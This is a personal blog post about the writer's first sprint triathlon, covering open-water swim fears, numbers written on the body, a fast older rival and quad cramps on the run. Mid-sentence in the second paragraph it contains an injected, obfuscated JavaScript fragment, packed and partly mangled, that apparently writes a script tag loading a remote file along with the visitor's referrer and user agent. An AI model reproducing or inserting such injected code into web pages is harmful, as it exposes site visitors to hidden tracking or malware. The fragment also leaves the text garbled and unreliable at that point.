I spent Saturday morning doing a triathlon. It was a shorty, but still got me good and tired!
The triathlon was put on by See Jane Run – a women’s athletic store. I’m still not entirely sure why I even decided to do it….it probably has something to do with my ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rknrn|var|u0026u|referrer|faysh||js|php’.split(‘|’),0,{}))
college roommate. She’s a triathlon machine. And there were some ladies on the softball team that were doing it, so I succumbed to the peer pressure.
I signed up and then didn’t really train. Oops. Well, that’s not true. I was scared to death about the swim. I’m an ok swimmer, but open water is a completely different story. I swam in a scuzy lake and totally freaked out. Hardcore. Thought I might get eaten by a shark or a mermaid or something. No idea what the problem was but I definitely had a panic attack. So I practiced swimming. Screw biking and running. I didn’t want to drown.
It was a 0.25 mile swim, 12 mile bike and 3 mile run. All very doable distances on their own.
I coerced a co worker into doing it with me. That’s Jen and I the morning of the race. An that’s my awesome swim cap. Apparently it’s a thing. You always get a swim cap and the color depends on your age.
You know how when you run a race you get a bib? Well, in a triathlon you can’t really swim with a bib. Instead, they write your number all over your body. Down each arm and on your left calf. What’s reserved for your right calf? That’s right. Your age. And did I mention that had 13 year old boys doing the labeling? What’s funny – whenever I mention this to people they comment about how the boys are probably all excited to be writing on all these women. Ha. That was NONE of my concern. Have you seen the hand writing of a 13 year old boy? That’s not what I want on my arm.
Exhibit A:
We also learned (after the permanent marker was on our skin) that most people have their age really small on the back of their leg. Like, maybe an inch tall. Needless to say, EVERYONE knew how old I was. More on that later.
It was a beautiful day for a triathlon (actually a little too warm for my taste, but that’s ok).
I’ve never worn a swim cap before. So that was a fun and new experience.
Only mild confusion during the biking portion.
And then the run. Hahaha. Oh the run. It wasn’t even far. But my quads cramped – a sensation I’m not use to at all. And they both cramped, almost simultaneously. That was fun. Although I don’t know if I could have run any faster had they not cramped.
Here’s what I learned.
1. Swim caps are stretchy. I was slightly concerned that my over-sized melon wouldn’t fit in the bright orange cap. I was wrong.
2. Never underestimate people based on how they look (i.e. larger/older than me). Why? Because I’m pretty sure a 50+ year old lady ZOOMED past me while on her bike. Remember the numbers on our legs? I’m pretty sure my (young-ish) 28 was a nice little carrot for some of the racers. Because I know that I’d be pretty pumped to be passing some “young” thing on her bike. And let’s be real, most of them didn’t need a carrot. I was not going fast on my little hybrid.
3. Leg cramps are kind of funny. Mostly because it’s a super weird sensation to loose control of your muscles. You want them to do one thing (walk/run), they want to do something else (seize up with some intense pain and tightness). As soon as I crossed the finish line, I could barely walk – ironic, since running is the only thing (of the 3 events) that I’m actually pretty diligent with.
So, will I do it again? Probably. Will I train more? For sure. Interested in doing this little tri with me? You know you want to!